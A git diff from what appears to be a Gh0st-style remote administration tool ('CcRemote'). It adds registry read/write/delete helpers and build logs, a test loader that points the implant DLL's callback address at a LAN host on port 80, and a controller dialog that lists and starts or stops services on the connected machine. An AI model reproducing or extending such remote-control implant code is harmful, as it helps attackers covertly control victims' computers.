|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
if(pDacl !=NULL)
|
||||
HeapFree(GetProcessHeap(), 0, pDacl);
|
||||
if(pSystemSid !=NULL)
|
||||
FreeSid(pSystemSid);
|
||||
if(pUserSid !=NULL)
|
||||
FreeSid(pUserSid);
|
||||
}
|
||||
|
||||
return iResult;
|
||||
}
|
||||
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
|
||||
{
|
||||
HKEY hKey;
|
||||
int ValueDWORD,iResult=0;
|
||||
char* PointStr;
|
||||
char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];
|
||||
DWORD szSize,KnSize,dwIndex=0;
|
||||
|
||||
memset(KeyName,0,sizeof(KeyName));
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
memset(ValueTemp,0,sizeof(ValueTemp));
|
||||
|
||||
__try
|
||||
{
|
||||
// SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
|
||||
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
iResult = -1;
|
||||
__leave;
|
||||
}
|
||||
switch(Mode)
|
||||
{
|
||||
case 0:
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
case REG_EXPAND_SZ:
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
|
||||
{
|
||||
strcpy(szData,DelSpace(ValueSz));
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_MULTI_SZ:
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
|
||||
{
|
||||
for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
|
||||
{
|
||||
|
||||
strncat(ValueTemp,PointStr,sizeof(ValueTemp));
|
||||
strncat(ValueTemp," ",sizeof(ValueTemp));
|
||||
}
|
||||
strcpy(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_DWORD:
|
||||
szSize = sizeof(DWORD);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)
|
||||
{
|
||||
wsprintf(szData,"%d",ValueDWORD);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_BINARY:
|
||||
szSize = lbSize;
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 1:
|
||||
while(1)
|
||||
{
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
|
||||
break;
|
||||
wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
|
||||
strcat(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
while(1)
|
||||
{
|
||||
memset(KeyName,0,sizeof(KeyName));
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
memset(ValueTemp,0,sizeof(ValueTemp));
|
||||
KnSize = sizeof(KeyName);
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
|
||||
break;
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
|
||||
break;
|
||||
case REG_EXPAND_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
|
||||
break;
|
||||
case REG_DWORD:
|
||||
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
|
||||
break;
|
||||
case REG_MULTI_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
|
||||
break;
|
||||
case REG_BINARY:
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
|
||||
break;
|
||||
}
|
||||
lstrcat(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
return iResult;
|
||||
}
|
||||
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode)
|
||||
{
|
||||
HKEY hKey;
|
||||
DWORD dwDisposition;
|
||||
int iResult =0;
|
||||
|
||||
__try
|
||||
{
|
||||
// SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
|
||||
switch(Mode)
|
||||
{
|
||||
case 0:
|
||||
if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
case 1:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
case REG_EXPAND_SZ:
|
||||
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case REG_DWORD:
|
||||
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case REG_BINARY:
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case 3:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
return iResult;
|
||||
}
|
14
CcMainDll/Loder/Release/Loder.Build.CppClean.log
Normal file
@@ -0,0 +1,14 @@
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.obj
|
||||
g:\ccremote\ccremote\bin\server\loder.exe
|
||||
g:\ccremote\ccremote\ccmaindll\release\loder.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.res
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.write.1.tlog
|
20
CcMainDll/Loder/Release/Loder.log
Normal file
@@ -0,0 +1,20 @@
|
||||
Loder.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(1216,5): warning MSB8012: TargetPath(G:\CcRemote\CcRemote\CcMainDll\Release\Loder.exe) 与 Linker 的 OutputFile 属性值(G:\CcRemote\CcRemote\bin\server\loder.exe)不匹配。这可能导致项目生成不正确。若要更正此问题,请确保 $(OutDir)、$(TargetName) 和 $(TargetExt) 属性值与 %(Link.OutputFile) 中指定的值匹配。
|
||||
正在生成代码
|
||||
0 of 4 functions ( 0.0%) were compiled, the rest were copied from previous compilation.
|
||||
0 functions were new in current compilation
|
||||
0 functions had inline decision re-evaluated but remain unchanged
|
||||
已完成代码的生成
|
||||
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Release\Loder.exe
|
BIN
CcMainDll/Loder/Release/Loder.res
Normal file
2
CcMainDll/Loder/Release/Loder.tlog/Loder.lastbuildstate
Normal file
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
16
CcMainDll/Loder/resource.h
Normal file
@@ -0,0 +1,16 @@
|
||||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ <20><><EFBFBD>ɵİ<C9B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
// <20><> Loder.rc ʹ<><CAB9>
|
||||
//
|
||||
#define IDR_DLL1 101
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 102
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
13
CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log
Normal file
@@ -0,0 +1,13 @@
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\vc141.idb
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.obj
|
||||
f:\myapp\ccremote\bin\server\testloaddll.ilk
|
||||
f:\myapp\ccremote\bin\server\testloaddll.exe
|
||||
f:\myapp\ccremote\bin\server\testloaddll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.write.1.tlog
|
@@ -1,6 +1,6 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
TestLoadDll.cpp
|
||||
正在生成代码
|
||||
All 171 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
||||
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
|
@@ -7,7 +7,7 @@
|
||||
int main()
|
||||
{
|
||||
std::cout << "Hello World!\n";
|
||||
char strHost[] = "127.0.0.1"; //声明上线地址
|
||||
char strHost[] = "192.168.2.173"; //声明上线地址
|
||||
int nPort = 80; //声明上线端口
|
||||
//载入服务端dll
|
||||
HMODULE hServerDll = LoadLibrary(".\\..\\..\\bin\\server\\CcMainDll.dll");
|
||||
|
223
CcRemote/CcRemote/CServerDlg.cpp
Normal file
@@ -0,0 +1,223 @@
|
||||
// CServerDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CServerDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "..\..\common\macros.h"
|
||||
|
||||
// CServerDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CServerDlg, CDialog)
|
||||
|
||||
CServerDlg::CServerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
: CDialog(IDD_SERVERDLG, pParent)
|
||||
{
|
||||
m_iocpServer = pIOCPServer;
|
||||
m_pContext = pContext;
|
||||
}
|
||||
|
||||
CServerDlg::~CServerDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CServerDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_LIST, m_list);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CServerDlg, CDialog)
|
||||
ON_WM_SIZE()
|
||||
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CServerDlg::OnNMRClickList)
|
||||
ON_COMMAND(IDM_SERVER_REFUBISH, &CServerDlg::OnServerRefubish)
|
||||
ON_COMMAND(IDM_SERVER_START, &CServerDlg::OnServerStart)
|
||||
ON_COMMAND(IDM_SERVER_STOP, &CServerDlg::OnServerStop)
|
||||
ON_COMMAND(IDM_SERVER_AUTO, &CServerDlg::OnServerAuto)
|
||||
ON_COMMAND(IDM_SERVER_MANUAL, &CServerDlg::OnServerManual)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CServerDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL CServerDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
CString str;
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||
int nSockAddrLen = sizeof(sockAddr);
|
||||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||
str.Format("\\\\%s - 服务管理", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
|
||||
SetWindowText(str);
|
||||
|
||||
//HWND hSerHeader = m_list.GetDlgItem(0)->GetSafeHwnd();
|
||||
//m_serHead.SubclassWindow(hSerHeader);
|
||||
//SortColumn(m_nSortedCol, m_bAscending);
|
||||
// m_serHead.InitializeHeader(TRUE);
|
||||
// m_serHead.EnableAutoSize(TRUE);
|
||||
// m_serHead.ResizeColumnsToFit();
|
||||
//初始化列表
|
||||
m_list.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT);
|
||||
m_list.InsertColumn(0, "真实名称", LVCFMT_LEFT, 150);
|
||||
m_list.InsertColumn(1, "显示名称", LVCFMT_LEFT, 260);
|
||||
m_list.InsertColumn(2, "启动类型", LVCFMT_LEFT, 80);
|
||||
m_list.InsertColumn(3, "运行状态", LVCFMT_LEFT, 80);
|
||||
m_list.InsertColumn(4, "可执行文件路径", LVCFMT_LEFT, 260);
|
||||
//GetServiceList();
|
||||
ShowServiceList();
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
int CServerDlg::ShowServiceList(void)
|
||||
{
|
||||
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||||
char *DisplayName;
|
||||
char *ServiceName;
|
||||
char *serRunway;
|
||||
char *serauto;
|
||||
char *serfile;
|
||||
DWORD dwOffset = 0;
|
||||
m_list.DeleteAllItems();
|
||||
|
||||
for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
|
||||
{
|
||||
DisplayName = lpBuffer + dwOffset;
|
||||
ServiceName = DisplayName + lstrlen(DisplayName) + 1;
|
||||
serfile = ServiceName + lstrlen(ServiceName) + 1;
|
||||
serRunway = serfile + lstrlen(serfile) + 1;
|
||||
serauto = serRunway + lstrlen(serRunway) + 1;
|
||||
|
||||
m_list.InsertItem(i, ServiceName);
|
||||
m_list.SetItemText(i, 1, DisplayName);
|
||||
m_list.SetItemText(i, 2, serauto);
|
||||
m_list.SetItemText(i, 3, serRunway);
|
||||
m_list.SetItemText(i, 4, serfile);
|
||||
|
||||
dwOffset += lstrlen(DisplayName) + lstrlen(ServiceName) + lstrlen(serfile) + lstrlen(serRunway)
|
||||
+ lstrlen(serauto) + 5;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void CServerDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
CDialog::OnSize(nType, cx, cy);
|
||||
if (m_list.m_hWnd == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
RECT rectClient;
|
||||
RECT rectList;
|
||||
GetClientRect(&rectClient);
|
||||
rectList.left = 0;
|
||||
rectList.top = 0;
|
||||
rectList.right = rectClient.right;
|
||||
rectList.bottom = rectClient.bottom;
|
||||
m_list.MoveWindow(&rectList);
|
||||
// TODO: 在此处添加消息处理程序代码
|
||||
}
|
||||
|
||||
|
||||
void CServerDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
CMenu popMenu;
|
||||
VERIFY(popMenu.LoadMenu(IDR_MENU_SERVER));
|
||||
CMenu *p = popMenu.GetSubMenu(0);
|
||||
ASSERT(p != NULL);
|
||||
CPoint point;
|
||||
GetCursorPos(&point);
|
||||
p->TrackPopupMenu(TPM_LEFTALIGN | TPM_LEFTBUTTON, point.x, point.y, this);
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
|
||||
void CServerDlg::OnServerRefubish()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_SERVICELIST;
|
||||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||||
}
|
||||
|
||||
|
||||
void CServerDlg::OnReceiveComplete(void)
|
||||
{
|
||||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
case TOKEN_SERVERLIST:
|
||||
ShowServiceList();
|
||||
break;
|
||||
default:
|
||||
// 传输发生异常数据
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CServerDlg::ServiceConfig(BYTE bCmd)
|
||||
{
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_list;
|
||||
// else
|
||||
// return;
|
||||
|
||||
// TODO: Add your command handler code here
|
||||
|
||||
DWORD dwOffset = 2;
|
||||
POSITION pos = pListCtrl->GetFirstSelectedItemPosition(); //iterator for the CListCtrl
|
||||
|
||||
// while(pos) //so long as we have a valid POSITION, we keep iterating
|
||||
// {
|
||||
int nItem = pListCtrl->GetNextSelectedItem(pos);
|
||||
|
||||
CString str1 = pListCtrl->GetItemText(nItem, 0);
|
||||
char* sername = str1.GetBuffer(0);
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 3 + lstrlen(sername));
|
||||
lpBuffer[0] = COMMAND_SERVICECONFIG;
|
||||
lpBuffer[1] = bCmd;
|
||||
|
||||
|
||||
memcpy(lpBuffer + dwOffset, sername, lstrlen(sername) + 1);
|
||||
// str.Format("%d", LocalSize(lpBuffer));
|
||||
// AfxMessageBox(str);
|
||||
m_iocpServer->Send(m_pContext, lpBuffer, LocalSize(lpBuffer));
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
void CServerDlg::OnServerStart()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
ServiceConfig(COMMAND_SERVICES_START);
|
||||
}
|
||||
|
||||
|
||||
void CServerDlg::OnServerStop()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
ServiceConfig(COMMAND_SERVICES_STOP);
|
||||
}
|
||||
|
||||
|
||||
void CServerDlg::OnServerAuto()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
ServiceConfig(COMMAND_SERVICES_AUTO);
|
||||
}
|
||||
|
||||
|
||||
void CServerDlg::OnServerManual()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
ServiceConfig(COMMAND_SERVICES_MANUAL);
|
||||
}
|
39
CcRemote/CcRemote/CServerDlg.h
Normal file
@@ -0,0 +1,39 @@
|
||||
#pragma once
|
||||
#include "include/IOCPServer.h"
|
||||
// CServerDlg 对话框
|
||||
|
||||
class CServerDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CServerDlg)
|
||||
|
||||
public:
|
||||
CServerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||||
virtual ~CServerDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_SERVERDLG };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()private:
|
||||
CListCtrl m_list;
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
protected:
|
||||
int ShowServiceList(void);
|
||||
public:
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnServerRefubish();
|
||||
void OnReceiveComplete(void);
|
||||
void ServiceConfig(BYTE bCmd);
|
||||
afx_msg void OnServerStart();
|
||||
afx_msg void OnServerStop();
|
||||
afx_msg void OnServerAuto();
|
||||
afx_msg void OnServerManual();
|
||||
};
|
@@ -94,14 +94,17 @@
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;ASMV;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
<AdditionalIncludeDirectories>
|
||||
</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>..\..\common\zlib\ZlibStatRelease\zlibstat.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<AdditionalLibraryDirectories>..\..\common\zlib\ZlibStatRelease</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -147,7 +150,7 @@
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
@@ -155,9 +158,10 @@
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>..\..\common\zlib\ZlibStatRelease\zlibstat.lib%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
